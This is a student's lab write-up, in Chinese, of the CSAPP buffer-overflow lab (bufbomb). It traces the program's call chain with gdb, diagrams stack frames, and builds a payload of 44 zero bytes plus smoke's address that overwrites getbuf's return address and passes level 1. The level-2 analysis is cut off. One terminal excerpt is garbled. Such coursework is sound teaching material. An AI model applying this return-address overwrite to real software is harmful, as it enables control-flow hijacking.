西工大计院计算机系统基础实验三前三关

发布时间:2023年12月20日

作者在写作本文时,一方面参考了计院和网安院所给的实验三的PPT,另一方面参考了CSAPP官网的实验部分的bufferlab实验的buflab32.pdf这份pdf文件。

1. 大概了解下能拿到的三份文件

? 首先解压缩拿到的文件包。解压缩文件包之后,进入得到的文件夹,看到了三个文件。第一个文件是bufbomb文件,第二个文件是makecookie文件,第三个文件是hex2raw文件。这三个文件的作用分别是什么呢?这三个文件的作用分别是:

  1. bufbomb文件是我们将要攻击的可执行文件。
  2. makecookie文件能够基于我们的学号产生一串cookie值。
  3. hex2raw文件是一个转换字符串格式的工具。

? 接下来,因为我们只拿到了这三个文件,所以为了解题,我们不得不深入研究这三个文件。因为这三个文件都是可执行文件,所以我们能够通过三个命令"./bufbomb",“./makecookie”,"./hex2raw"去执行这三个文件,进而获取一些信息。

  1. 因为bufbomb文件是个可执行文件,所以我们尝试使用"./bufbomb"命令去执行它。用"./bufbomb"命令执行该文件,却发现返回了如下的内容:

npusec@ubuntu:~/Desktop/3/buflab2021301381$ ./bufbomb
./bufbomb: Missing required argument (-u <userid)
Usage: ./bufbomb -u [-p ] [-nsh]
-u User ID
-p Password
-n Nitro mode
-s Submit your solution to the grading server
-h Print help information
npusec@ubuntu:~/Desktop/3/buflab2021301381$

? 根据返回的内容的提示,我们缺少必要的"-u"选项以及"-u"选项的参数。所以我们根据提示,修正我们的命令 为"./bufbomb -u 2021301381",接着输入该命令,得到了:

npusec@ubuntu:~/Desktop/3/buflab2021301381$ ./bufbomb -u 2021301381
Userid: 2021301381
Cookie: 0x666b63a4
Type string:

? 按照该命令的返回结果,我们输入一个字符串"abcde",发现结果为:

npusec@ubuntu:~/Desktop/3/buflab2021301381$ ./bufbomb -u 2021301381
Userid: 2021301381
Cookie: 0x666b63a4
Type string:abcde
Dud: getbuf returned 0x1
Better luck next time

? 至此,这就是我们在不输入密码的情况下,能够获得的最多的消息。如果还想获得更多的消息的话,我们还 需要使用objdump命令反汇编,以得到bufbomb的汇编代码。但在此之前,我们先实际运行makecookie文 件与hex2raw文件。

  1. 使用"./makecookie"命令运行makecookie这个可执行文件,发现什么也没有得到。而如果在makecookie文件的后面,再输入我们的学号,也就是"./makecookie 2021301381",即可得到:

npusec@ubuntu:~/Desktop/3/buflab2021301381$ ./makecookie 2021301381
0x666b63a4
npusec@ubuntu:~/Desktop/3/buflab2021301381$

? 而命令"./makecookie 2021301381"所返回的结果0x666b63a4,正好是命令"./bufbomb -u 2021301381"的 返回结果的第二行的内容。

  1. 使用"./hex2raw"命令运行hex2raw这个可执行文件,发现它将会等待我们继续输入。私底下反复尝试后,发现hex2raw这个可执行文件并不像makecookie那么简单。因此,我们换一种思路,如下所示:

npusec@ubuntu:~/Desktop/3/buflab2021301381$ cat example1.txt
61 62 63 64 65 66 67 68 69 70
61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70
npusec@ubuntu:~/Desktop/3/buflab2021301381$ cat example1.txt | ./hex2raw
abcdefghipabcdefghijklmnop
npusec@ubuntu:~/Desktop/3/buflab2021301381$

? 因此我们可以得知,hex2raw这个文件的功能就是,将ASCII码值转换为对应的字符形式。

2. 重点了解能拿到的三份文件中的bufbomb文件

? 实际运行完成三个文件之后,我们回过头来,使用objdump命令进行反汇编,以得到bufbomb的汇编代码,如下图所示:

npusec@ubuntu:~/Desktop/3/buflab2021301381$ objdump -d bufbomb > bufbomb.s
npusec@ubuntu:~/Desktop/3/buflab2021301381$ ls | grep bufbomb.s
bufbomb.s
npusec@ubuntu:~/Desktop/3/buflab2021301381$

? 因为无论是什么可执行文件,总是从main函数部分开始执行。因为bufbomb也是一个可执行文件,所以 bufbomb文件也会从main函数部分开始执行。所以打开bufbomb.s文件之后,直接定位到main函数的汇编代码部分,然后进行查看,如下图所示:

在这里插入图片描述

? 通过阅读main函数,我们发现main函数调用了好多函数,按第一次出现的先后顺序进行统计,分别有:signal@plt,getopt@plt,usage,__ strdup@plt,gencookie,__ printf_chk@plt,initialize_bomb,srandom@plt,random@plt,calloc@plt,launcher。这么多函数,到底哪个才是我们应该研究的对象呢?这时就需要使用gdb进行调试。因为bufbomb文件会从main函数部分开始执行,所以使用命令"b main"将断点打在main函数处。因为只是单纯使用命令"r"执行bufbomb文件的效果等同于"./bufbomb",会因为缺少"-u"选项以及"-u"选项的参数而无法成功运行,所以使用命令"r -u 2021301381"指定选项"-u"以及选项"-u"选项的参数。如下图所示:

在这里插入图片描述

? 怎么样才能知道我们需要研究哪个函数呢?我们需要的函数就是,需要我们输入字符串的那个函数。哪个函数需要我们输入字符串呢?如下图所示:

在这里插入图片描述

? 因此,main函数所调用的launcher函数,就是我们需要研究的函数。可是问题来了,其它的函数是做什么的呢?这个问题留到寒假再去解答吧,现在先去看launcher函数。既然main函数调用了launcher函数,那么我们有必要画出,在函数main执行0x80491a8 <main+553> call 8048edch < launcher >指令之前,函数栈帧的情况,注意是之前!之前!之前!

内存地址内存地址中的内容注释归属栈帧指向这个内存地址的寄存器
0xffffd0d8main%ebp
0xffffd0d4main
0xffffd0d0main
0xffffd0ccmain
… …main
… …main
0xffffd0a4函数main为函数launcher准备的第二个入口参数main
0xffffd0a0函数main为函数launcher准备的第一个入口参数main%esp

? 接着重新"gdb bufbomb",“b *0x80491a8”,“r -u 2021301381”,然后下一步**不是使用"ni"以执行下一条指令,而是使用”step"进入到launcher函数内部!**如下图所示:

在这里插入图片描述

在这里插入图片描述

? 那么问题来了,我们该研究launcher函数中的哪个函数呢?同样的方法,我们需要研究的函数就是,需要我们输入字符串的那个函数。那么哪个函数需要我们输入字符串呢?如下图所示:

在这里插入图片描述

? 因此,函数main所调用的函数launcher所调用的函数launch,就是我们需要研究的函数。同样的,函数launcher所调用的其它的函数是做什么的呢?这个问题留到寒假再去解答吧,现在先去看launch函数。既然launcher函数调用了launch函数,那么我们有必要画出,在函数launcher执行0x8048f5c <launcher+128> call 8048e46h < launch >指令之前,函数栈帧的情况,注意是之前!之前!之前!

内存地址内存地址中的内容注释归属栈帧指向这个内存地址的寄存器
0xffffd0d8main
0xffffd0d4main
0xffffd0d0main
0xffffd0ccmain
… …main
… …main
0xffffd0a4函数main为函数launcher准备的第二个入口参数main
0xffffd0a0函数main为函数launcher准备的第一个入口参数main
0xffffd09c0x080491ad函数launcher的返回地址,也就是当函数launcher执行完毕之后,将返回到main函数中的哪个地方去。可以通过命令"x 0xffffd09c"查看函数launcher的返回地址。下面是从objdump命令的结果bufbomb.s文件中的main函数部分节选的代码:
80491a8: e8 2f fd ff ff call 8048edc
80491ad: 83 c4 10 add $0x10,%esp
main
0xffffd098launcher%ebp
0xffffd094launcher
… …launcher
… …launcher
0x55685ff8launcher%esp

? 在这里,至于为什么,函数launcher的栈帧是如此的大,作者也不清楚,但是却并不影响我们对题目的理解,所以继续做下去。重新"gdb bufbomb",“b *0x8048f5c”,“r -u 2021301381”,然后下一步**不是使用"ni"以执行下一条指令,而是使用”step"进入到launch函数内部!**如下图所示:

在这里插入图片描述

在这里插入图片描述

? 此时问题又来了,我们该研究launch函数中的哪个函数呢?同样的方法,我们需要研究的函数就是,需要我们输入字符串的那个函数。那么哪个函数需要我们输入字符串呢?如下图所示:

在这里插入图片描述

? 因此,函数main所调用的函数launcher所调用的函数launch所调用的函数test,就是我们需要研究的函数。同样的,函数launch所调用的其它的函数是做什么的呢?这个问题留到寒假再去解答吧,现在先去看test函数。既然launch函数调用了test函数,那么我们有必要画出,在函数launch执行0x8048e9e <launch+88> call 8048d5ch < test >指令之前,函数栈帧的情况,注意是之前!之前!之前!

内存地址内存地址中的内容注释归属栈帧指向这个内存地址的寄存器
0xffffd0d8main
0xffffd0d4main
0xffffd0d0main
0xffffd0ccmain
… …main
… …main
0xffffd0a4函数main为函数launcher准备的第二个入口参数main
0xffffd0a0函数main为函数launcher准备的第一个入口参数main
0xffffd09c0x080491ad函数launcher的返回地址,也就是当函数launcher执行完毕之后,将返回到main函数中的哪个地方去。可以通过命令"x 0xffffd09c"查看函数launcher的返回地址。下面是从objdump命令的结果bufbomb.s文件中的main函数部分节选的代码:
80491a8: e8 2f fd ff ff call 8048edc
80491ad: 83 c4 10 add $0x10,%esp
main
0xffffd098launcher
0xffffd094launcher
… …launcher
… …launcher
0x55685ff8launcher
0x55685ff40x08048f61函数launch的返回地址,也就是当函数launch执行完毕之后,将返回到launcher函数中的哪个地方去。可以通过命令"x 0x55685ff4"查看函数launch的返回地址。下面是从objdump命令的结果bufbomb.s文件中的launcher函数部分节选的代码:
8048f5c: e8 e5 fe ff ff call 8048e46
8048f61: a1 28 d1 04 08 mov 0x804d128,%eax
launcher
0x55685ff0launch%ebp
0x55685feclaunch
… …launch
… …launch
0x556834dclaunch
0x556834d8launch%esp

? 继续做下去。重新"gdb bufbomb",“b *0x8048e9e”,“r -u 2021301381”,然后下一步**不是使用"ni"以执行下一条指令,而是使用”step"进入到test函数内部!**如下图所示:

在这里插入图片描述

在这里插入图片描述

? 此时问题还是又来了,我们该研究test函数中的哪个函数呢?同样的方法,我们需要研究的函数就是,需要我们输入字符串的那个函数。那么哪个函数需要我们输入字符串呢?如下图所示:

在这里插入图片描述

? 因此,函数main所调用的函数launcher所调用的函数launch所调用的函数test所调用的getbuf函数,就是我们需要研究的函数。同样的,函数test所调用的其它的函数是做什么的呢?这个问题留到寒假再去解答吧,现在先去看getbuf函数。既然test函数调用了getbuf函数,那么我们有必要画出,在函数test执行0x8048d6b <test+15> call 80491c1h < getbuf >指令之前,函数栈帧的情况,注意是之前!之前!之前!

内存地址内存地址中的内容注释归属栈帧指向这个内存地址的寄存器
0xffffd0d8main
0xffffd0d4main
0xffffd0d0main
0xffffd0ccmain
… …main
… …main
0xffffd0a4函数main为函数launcher准备的第二个入口参数main
0xffffd0a0函数main为函数launcher准备的第一个入口参数main
0xffffd09c0x080491ad函数launcher的返回地址,也就是当函数launcher执行完毕之后,将返回到main函数中的哪个地方去。可以通过命令"x 0xffffd09c"查看函数launcher的返回地址。下面是从objdump命令的结果bufbomb.s文件中的main函数部分节选的代码:
80491a8: e8 2f fd ff ff call 8048edc
80491ad: 83 c4 10 add $0x10,%esp
main
0xffffd098launcher
0xffffd094launcher
… …launcher
… …launcher
0x55685ff8launcher
0x55685ff40x08048f61函数launch的返回地址,也就是当函数launch执行完毕之后,将返回到launcher函数中的哪个地方去。可以通过命令"x 0x55685ff4"查看函数launch的返回地址。下面是从objdump命令的结果bufbomb.s文件中的launcher函数部分节选的代码:
8048f5c: e8 e5 fe ff ff call 8048e46
8048f61: a1 28 d1 04 08 mov 0x804d128,%eax
launcher
0x55685ff0launch
0x55685feclaunch
… …launch
… …launch
0x556834dclaunch
0x556834d8launch
0x556834d40x08048ea3函数test的返回地址,也就是当函数test执行完毕之后,将返回到launch函数中的哪个地方去。可以通过命令"x 0x556834d4"查看函数test的返回地址。下面是从objdump命令的结果bufbomb.s文件中的launch函数部分节选的代码:
8048e9e: e8 b9 fe ff ff call 8048d5c
8048ea3: 83 3d 3c d1 04 08 00 cmpl $0x0,0x804d13c
launch
0x556834d0test%ebp
0x556834cctest
… …test
… …test
0x556834bctest
0x556834b8test%esp

? 继续做下去。重新"gdb bufbomb",“b *0x8048d6b”,“r -u 2021301381”,然后下一步**不是使用"ni"以执行下一条指令,而是使用”step"进入到getbuf函数内部!**如下图所示:

在这里插入图片描述

在这里插入图片描述

? 而getbuf函数内,只调用了一个函数Gets,所以,函数main所调用的函数launcher所调用的函数launch所调用的函数test所调用的getbuf函数所调用的Gets函数,就是我们需要研究的函数。同样的,函数getbuf所调用的其它的函数是做什么的呢?这个问题留到寒假再去解答吧,现在先去看Gets函数。既然getbuf函数调用了Gets函数,那么我们有必要画出,在函数getbuf执行 80491cb: e8 d6 fa ff ff call 8048ca6 < Gets >指令之前,函数栈帧的情况,注意是之前!之前!之前!

内存地址内存地址中的内容注释归属栈帧指向这个内存地址的寄存器
0xffffd0d8main
0xffffd0d4main
0xffffd0d0main
0xffffd0ccmain
… …main
… …main
0xffffd0a4函数main为函数launcher准备的第二个入口参数main
0xffffd0a0函数main为函数launcher准备的第一个入口参数main
0xffffd09c0x080491ad函数launcher的返回地址,也就是当函数launcher执行完毕之后,将返回到main函数中的哪个地方去。可以通过命令"x 0xffffd09c"查看函数launcher的返回地址。下面是从objdump命令的结果bufbomb.s文件中的main函数部分节选的代码:
80491a8: e8 2f fd ff ff call 8048edc
80491ad: 83 c4 10 add $0x10,%esp
main
0xffffd098launcher
0xffffd094launcher
… …launcher
… …launcher
0x55685ff8launcher
0x55685ff40x08048f61函数launch的返回地址,也就是当函数launch执行完毕之后,将返回到launcher函数中的哪个地方去。可以通过命令"x 0x55685ff4"查看函数launch的返回地址。下面是从objdump命令的结果bufbomb.s文件中的launcher函数部分节选的代码:
8048f5c: e8 e5 fe ff ff call 8048e46
8048f61: a1 28 d1 04 08 mov 0x804d128,%eax
launcher
0x55685ff0launch
0x55685feclaunch
… …launch
… …launch
0x556834dclaunch
0x556834d8launch
0x556834d40x08048ea3函数test的返回地址,也就是当函数test执行完毕之后,将返回到launch函数中的哪个地方去。可以通过命令"x 0x556834d4"查看函数test的返回地址。下面是从objdump命令的结果bufbomb.s文件中的launch函数部分节选的代码:
8048e9e: e8 b9 fe ff ff call 8048d5c
8048ea3: 83 3d 3c d1 04 08 00 cmpl $0x0,0x804d13c
launch
0x556834d0test
0x556834cctest
… …test
… …test
0x556834bctest
0x556834b8test
0x556834b40x08048d70函数getbuf的返回地址,也就是当函数getbuf执行完毕之后,将返回到test函数中的哪个地方去。可以通过命令"x 0x556834b4"查看函数test的返回地址。下面是从objdump命令的结果bufbomb.s文件中的test函数部分节选的代码:
8048d6b: e8 51 04 00 00 call 80491c1
8048d70: 89 c3 mov %eax,%ebx
test
0x556834b0getbuf%ebp
0x556834acgetbuf
0x556834a8getbuf
… …getbuf
… …getbuf
0x5568347cgetbuf
0x556834780x55683488getbuf函数为Gets函数准备的第一个入口参数getbuf%esp

? 继续做下去。重新"gdb bufbomb",“b *0x80491cb”,“r -u 2021301381”,然后下一步**不是使用"ni"以执行下一条指令,而是使用”step"进入到Gets函数内部!**如下图所示:

在这里插入图片描述

在这里插入图片描述

? 此时问题还是又来了,我们该研究Gets函数中的哪个函数呢?同样的方法,我们需要研究的函数就是,需要我们输入字符串的那个函数。那么哪个函数需要我们输入字符串呢?如下图所示:

在这里插入图片描述

? 因此,函数main所调用的函数launcher所调用的函数launch所调用的函数test所调用的getbuf函数所调用的Gets函数所调用的_ IO_getc@plt函数,就是我们需要研究的函数。同样的,函数Gets所调用的其它的函数是做什么的呢?这个问题留到寒假再去解答吧。这时_ IO_getc@plt函数看上去长得很奇怪,所以我们选择不去研究它,而是先尝试性的输入"abc",观察会有什么情况出现。

在这里插入图片描述

? 我们发现,函数Gets执行四次_ IO_getc@plt之后,便回到了getbuf函数。

在这里插入图片描述

? 并且0x55683488到0x5568348c这四个内存地址分别保存的是:

pwndbg> x 0x55683488
0x55683488 <_reserved+1037448>: 0x00636261
pwndbg>

? 正好是’a’, ‘b’, 'c’的ASCII码值!!!此时函数栈帧如下图所示:

内存地址内存地址中的内容注释归属栈帧指向这个内存地址的寄存器
0xffffd0d8main
0xffffd0d4main
0xffffd0d0main
0xffffd0ccmain
… …main
… …main
0xffffd0a4函数main为函数launcher准备的第二个入口参数main
0xffffd0a0函数main为函数launcher准备的第一个入口参数main
0xffffd09c0x080491ad函数launcher的返回地址,也就是当函数launcher执行完毕之后,将返回到main函数中的哪个地方去。可以通过命令"x 0xffffd09c"查看函数launcher的返回地址。下面是从objdump命令的结果bufbomb.s文件中的main函数部分节选的代码:
80491a8: e8 2f fd ff ff call 8048edc
80491ad: 83 c4 10 add $0x10,%esp
main
0xffffd098launcher
0xffffd094launcher
… …launcher
… …launcher
0x55685ff8launcher
0x55685ff40x08048f61函数launch的返回地址,也就是当函数launch执行完毕之后,将返回到launcher函数中的哪个地方去。可以通过命令"x 0x55685ff4"查看函数launch的返回地址。下面是从objdump命令的结果bufbomb.s文件中的launcher函数部分节选的代码:
8048f5c: e8 e5 fe ff ff call 8048e46
8048f61: a1 28 d1 04 08 mov 0x804d128,%eax
launcher
0x55685ff0launch
0x55685feclaunch
… …launch
… …launch
0x556834dclaunch
0x556834d8launch
0x556834d40x08048ea3函数test的返回地址,也就是当函数test执行完毕之后,将返回到launch函数中的哪个地方去。可以通过命令"x 0x556834d4"查看函数test的返回地址。下面是从objdump命令的结果bufbomb.s文件中的launch函数部分节选的代码:
8048e9e: e8 b9 fe ff ff call 8048d5c
8048ea3: 83 3d 3c d1 04 08 00 cmpl $0x0,0x804d13c
launch
0x556834d0test
0x556834cctest
… …test
… …test
0x556834bctest
0x556834b8test
0x556834b40x08048d70函数getbuf的返回地址,也就是当函数getbuf执行完毕之后,将返回到test函数中的哪个地方去。可以通过命令"x 0x556834b4"查看函数test的返回地址。下面是从objdump命令的结果bufbomb.s文件中的test函数部分节选的代码:
8048d6b: e8 51 04 00 00 call 80491c1
8048d70: 89 c3 mov %eax,%ebx
test
0x556834b0getbuf%ebp
0x556834acgetbuf
0x556834a8getbuf
… …getbuf
0x556834880x00636261getbuf
… …getbuf
0x5568347cgetbuf
0x556834780x55683488getbuf函数为Gets函数准备的第一个入口参数getbuf%esp

? 因此,Gets函数的作用就是,读取我们输入的字符串,将我们输入的字符串的ASCII码值存放到函数getbuf的栈帧中的指定位置中去。

3. 搞清楚bufbomb文件中的函数调用关系

? bufbomb文件中的函数调用关系可以用函数栈帧图表示,即:函数main调用函数launcher,函数launcher调用函数launch,函数launch调用函数test,函数test调用函数getbuf,函数getbuf调用函数Gets。

内存地址内存地址中的内容注释归属栈帧指向这个内存地址的寄存器
0xffffd0d8main
0xffffd0d4main
0xffffd0d0main
0xffffd0ccmain
… …main
… …main
0xffffd0a4函数main为函数launcher准备的第二个入口参数main
0xffffd0a0函数main为函数launcher准备的第一个入口参数main
0xffffd09c0x080491ad函数launcher的返回地址,也就是当函数launcher执行完毕之后,将返回到main函数中的哪个地方去。可以通过命令"x 0xffffd09c"查看函数launcher的返回地址。下面是从objdump命令的结果bufbomb.s文件中的main函数部分节选的代码:
80491a8: e8 2f fd ff ff call 8048edc
80491ad: 83 c4 10 add $0x10,%esp
main
0xffffd098launcher
0xffffd094launcher
… …launcher
… …launcher
0x55685ff8launcher
0x55685ff40x08048f61函数launch的返回地址,也就是当函数launch执行完毕之后,将返回到launcher函数中的哪个地方去。可以通过命令"x 0x55685ff4"查看函数launch的返回地址。下面是从objdump命令的结果bufbomb.s文件中的launcher函数部分节选的代码:
8048f5c: e8 e5 fe ff ff call 8048e46
8048f61: a1 28 d1 04 08 mov 0x804d128,%eax
launcher
0x55685ff0launch
0x55685feclaunch
… …launch
… …launch
0x556834dclaunch
0x556834d8launch
0x556834d40x08048ea3函数test的返回地址,也就是当函数test执行完毕之后,将返回到launch函数中的哪个地方去。可以通过命令"x 0x556834d4"查看函数test的返回地址。下面是从objdump命令的结果bufbomb.s文件中的launch函数部分节选的代码:
8048e9e: e8 b9 fe ff ff call 8048d5c
8048ea3: 83 3d 3c d1 04 08 00 cmpl $0x0,0x804d13c
launch
0x556834d0test
0x556834cctest
… …test
… …test
0x556834bctest
0x556834b8test
0x556834b40x08048d70函数getbuf的返回地址,也就是当函数getbuf执行完毕之后,将返回到test函数中的哪个地方去。可以通过命令"x 0x556834b4"查看函数test的返回地址。下面是从objdump命令的结果bufbomb.s文件中的test函数部分节选的代码:
8048d6b: e8 51 04 00 00 call 80491c1
8048d70: 89 c3 mov %eax,%ebx
test
0x556834b0getbuf%ebp
0x556834acgetbuf
0x556834a8getbuf
… …getbuf
0x556834880x00636261函数getbuf调用函数Gets,函数Gets读取我们输入的字符串"abc"之后返回函数getbuf的结果。getbuf
… …getbuf
0x5568347cgetbuf
0x556834780x55683488getbuf函数为Gets函数准备的第一个入口参数getbuf%esp

4. 第1关

? 根据CSAPP官网上的实验部分的bufferlab实验的buflab32.pdf这份pdf文件,我们得知第一关的任务是:

当getbuf函数执行完毕,准备返回时,并不是返回到调用getbuf的函数test那儿去,而是返回到一个新的名叫smoke的函数那儿去。

? 因为函数getbuf执行结束之后,决定返回地址的方式,是通过%ebp+4来确定的,并且%ebp指向了函数getbuf的栈帧的底部,所以为了让函数getbuf执行完毕之后,不返回到函数test,而是返回到一个新的函数smoke,我们需要修改内存地址0x556834b4处的内容,让其不为0x08048d70,而是0x08048bde(0x08048bde就是函数smoke的地址,也是函数smoke首行指令的地址)

08048bde :
8048bde: 55 push %ebp
8048bdf: 89 e5 mov %esp,%ebp
8048be1: 83 ec 14 sub $0x14,%esp
8048be4: 68 6f a3 04 08 push $0x804a36f
8048be9: e8 a2 fc ff ff call 8048890 puts@plt
8048bee: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048bf5: e8 e7 06 00 00 call 80492e1
8048bfa: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048c01: e8 aa fc ff ff call 80488b0 exit@plt

? 那么,如何修改内存地址0x556834b4处的内容,让其不为0x08048d70,而是0x08048bde呢?我们可以输入一串很长很长的字符串,这样子当函数getbuf调用函数Gets,函数Gets读取我们输入的字符串,然后返回函数getbuf的结果,即为如下图所示的样子:

内存地址内存地址中的内容注释归属栈帧指向这个内存地址的寄存器
0xffffd0d8main
0xffffd0d4main
0xffffd0d0main
0xffffd0ccmain
… …main
… …main
0xffffd0a4函数main为函数launcher准备的第二个入口参数main
0xffffd0a0函数main为函数launcher准备的第一个入口参数main
0xffffd09c0x080491ad函数launcher的返回地址,也就是当函数launcher执行完毕之后,将返回到main函数中的哪个地方去。可以通过命令"x 0xffffd09c"查看函数launcher的返回地址。下面是从objdump命令的结果bufbomb.s文件中的main函数部分节选的代码:
80491a8: e8 2f fd ff ff call 8048edc
80491ad: 83 c4 10 add $0x10,%esp
main
0xffffd098launcher
0xffffd094launcher
… …launcher
… …launcher
0x55685ff8launcher
0x55685ff40x08048f61函数launch的返回地址,也就是当函数launch执行完毕之后,将返回到launcher函数中的哪个地方去。可以通过命令"x 0x55685ff4"查看函数launch的返回地址。下面是从objdump命令的结果bufbomb.s文件中的launcher函数部分节选的代码:
8048f5c: e8 e5 fe ff ff call 8048e46
8048f61: a1 28 d1 04 08 mov 0x804d128,%eax
launcher
0x55685ff0launch
0x55685feclaunch
… …launch
… …launch
0x556834dclaunch
0x556834d8launch
0x556834d40x08048ea3函数test的返回地址,也就是当函数test执行完毕之后,将返回到launch函数中的哪个地方去。可以通过命令"x 0x556834d4"查看函数test的返回地址。下面是从objdump命令的结果bufbomb.s文件中的launch函数部分节选的代码:
8048e9e: e8 b9 fe ff ff call 8048d5c
8048ea3: 83 3d 3c d1 04 08 00 cmpl $0x0,0x804d13c
launch
0x556834d0test
0x556834cctest
… …test
… …test
0x556834bctest
0x556834b8test
0x556834b40x08048bde被修改之后,函数getbuf的返回地址.test
0x556834b00x00000000getbuf%ebp
0x556834ac0x00000000getbuf
0x556834a80x00000000getbuf
… …… …getbuf
0x556834880x00000000函数getbuf调用函数Gets,函数Gets读取我们输入的字符串之后返回函数getbuf的结果。getbuf
… …getbuf
0x5568347cgetbuf
0x556834780x55683488getbuf函数为Gets函数准备的第一个入口参数getbuf%esp

? 这串很长很长的字符串的ASCII码值应该长什么样子呢?应该长这个样子:00 00 … … de 8b 04 08。那么问题来了,这中间有多少个00呢?0x556834b4-0x55683488个0x00,也就是有0x556834b4-0x55683488个00,也就是有0x2c个00,也就是有44个00。所以最终的字符串的ASCII码值应该是:00 00 … … 00 00(44个00), de 8b 04 08。如何产生44个00呢?可以使用下面的脚本:

#!/bin/bash
output_file="output.txt"
for ((i=0; i<44; i++))
do
    echo -n "00 " >> $output_file
done

npusec@ubuntu:~/Desktop/3/buflab2021301381$ cat bash1.sh
#!/bin/bash
output_file=“output.txt”
for ((i=0; i<44; i++))
do
echo -n "00 " >> o u t p u t f i l e d o n e n p u s e c @ u b u n t u : ? / D e s k t o p / 3 / b u f l a b 2021301381 output_file done npusec@ubuntu:~/Desktop/3/buflab2021301381 outputf?iledonenpusec@ubuntu:?/Desktop/3/buflab2021301381 chmod u+x bash1.sh
npusec@ubuntu:~/Desktop/3/buflab2021301381$ ./bash1.sh
npusec@ubuntu:~/Desktop/3/buflab2021301381$ cat output.txt
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 npusec@ubuntu:~/Desktop/3/buflab2021301381$

接着再在output.txt文件的最后面,添加"de 8b 04 08",注意’de’的前面没有空格,因为44个0x00中,每个00后面都已经有了空格!

接着使用hex2raw文件,将我们的output.txt文件进行转换,生成一个二进制文件output.bin。生成二进制文件之后,使用命令"./bufbomb < output.bin -u 2021301381",即可成功通过第一关!

npusec@ubuntu:~/Desktop/3/buflab2021301381$ ./hex2raw < output.txt > output.bin

npusec@ubuntu:~/Desktop/3/buflab2021301381$ cat output.bin
?
npusec@ubuntu:~/Desktop/3/buflab2021301381$ xxd output.bin
00000000: 0000 0000 0000 0000 0000 0000 0000 0000 …
00000010: 0000 0000 0000 0000 0000 0000 0000 0000 …
00000020: 0000 0000 0000 0000 0000 0000 de8b 0408 …
00000030: 0a .
npusec@ubuntu:~/Desktop/3/buflab2021301381$

npusec@ubuntu:~/Desktop/3/buflab2021301381$ ./bufbomb < output.bin -u 2021301381
Userid: 2021301381
Cookie: 0x666b63a4
Type string:Smoke!: You called smoke()
VALID
NICE JOB!
npusec@ubuntu:~/Desktop/3/buflab2021301381$

5. 第二关

? 第二关,我们的任务是,让bufbomb这个可执行文件在执行完毕函数getbuf并且准备返回时,并不是返回到函数test,而是返回到fizz函数,也就是执行完函数getbuff之后,本应返回到函数test中的"8048d6b: e8 51 04 00 00 call 80491c1 “的下一行代码”8048d70: 89 c3 mov %eax,%ebx"中,结果返回到了函数fizz的第一行代码"8048c06: 55 push %ebp”。此外,让我们的cookie值作为传递给函数fizz的第一个参数。根据上述分析,得知我们的任务可以被拆分为两点:

  1. 函数getbuf的返回地址需要被修改为函数fizz的第一行汇编代码;
  2. 函数getbuf执行结束,开始执行函数fizz的第一行汇编代码时,函数fizz的拿到的第一个参数应该是我们的cookie值。

而函数getbuf的返回地址被保存在0x556834b4,函数fizz的第一行汇编代码的地址为0x8048c06;所以,我们的任务可以进一步认为是:

  1. 0x556834b4这个内存地址处存放的值应为0x8048c06;
  2. 函数getbuf执行结束,开始执行函数fizz的第一行汇编代码时,函数fizz的拿到的第一个参数应该是我们的cookie值。

08048c06 :
8048c06: 55 push %ebp
8048c07: 89 e5 mov %esp,%ebp
8048c09: 83 ec 08 sub $0x8,%esp
8048c0c: 8b 45 08 mov 0x8(%ebp),%eax
8048c0f: 3b 05 40 d1 04 08 cmp 0x804d140,%eax
8048c15: 75 21 jne 8048c38 <fizz+0x32>
8048c17: 83 ec 04 sub $0x4,%esp
8048c1a: 50 push %eax
8048c1b: 68 8a a3 04 08 push $0x804a38a
8048c20: 6a 01 push $0x1
8048c22: e8 49 fd ff ff call 8048970 __printf_chk@plt
8048c27: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048c2e: e8 ae 06 00 00 call 80492e1
8048c33: 83 c4 10 add $0x10,%esp
8048c36: eb 13 jmp 8048c4b <fizz+0x45>
8048c38: 83 ec 04 sub $0x4,%esp
8048c3b: 50 push %eax
8048c3c: 68 88 a1 04 08 push $0x804a188
8048c41: 6a 01 push $0x1
8048c43: e8 28 fd ff ff call 8048970 __printf_chk@plt
8048c48: 83 c4 10 add $0x10,%esp
8048c4b: 83 ec 0c sub $0xc,%esp
8048c4e: 6a 00 push $0x0
8048c50: e8 5b fc ff ff call 80488b0 exit@plt

? 在函数getbuf正常的执行自己的"ret"这条汇编指令前的一瞬间,函数栈帧为:

内存地址内存地址中的内容注释归属栈帧指向这个内存地址的寄存器
0xffffd0d8main
0xffffd0d4main
0xffffd0d0main
0xffffd0ccmain
… …main
… …main
0xffffd0a4函数main为函数launcher准备的第二个入口参数main
0xffffd0a0函数main为函数launcher准备的第一个入口参数main
0xffffd09c0x080491ad函数launcher的返回地址,也就是当函数launcher执行完毕之后,将返回到main函数中的哪个地方去。可以通过命令"x 0xffffd09c"查看函数launcher的返回地址。下面是从objdump命令的结果bufbomb.s文件中的main函数部分节选的代码:
80491a8: e8 2f fd ff ff call 8048edc
80491ad: 83 c4 10 add $0x10,%esp
main
0xffffd098launcher
0xffffd094launcher
… …launcher
… …launcher
0x55685ff8launcher
0x55685ff40x08048f61函数launch的返回地址,也就是当函数launch执行完毕之后,将返回到launcher函数中的哪个地方去。可以通过命令"x 0x55685ff4"查看函数launch的返回地址。下面是从objdump命令的结果bufbomb.s文件中的launcher函数部分节选的代码:
8048f5c: e8 e5 fe ff ff call 8048e46
8048f61: a1 28 d1 04 08 mov 0x804d128,%eax
launcher
0x55685ff0launch
0x55685feclaunch
… …launch
… …launch
0x556834dclaunch
0x556834d8launch
0x556834d40x08048ea3函数test的返回地址,也就是当函数test执行完毕之后,将返回到launch函数中的哪个地方去。可以通过命令"x 0x556834d4"查看函数test的返回地址。下面是从objdump命令的结果bufbomb.s文件中的launch函数部分节选的代码:
8048e9e: e8 b9 fe ff ff call 8048d5c
8048ea3: 83 3d 3c d1 04 08 00 cmpl $0x0,0x804d13c
launch
0x556834d0test%ebp
0x556834cctest
… …test
… …test
0x556834bctest
0x556834b8test
0x556834b40x08048d70函数getbuf的返回地址,也就是当函数getbuf执行完毕之后,将返回到test函数中的哪个地方去。可以通过命令"x 0x556834b4"查看函数test的返回地址。下面是从objdump命令的结果bufbomb.s文件中的test函数部分节选的代码:
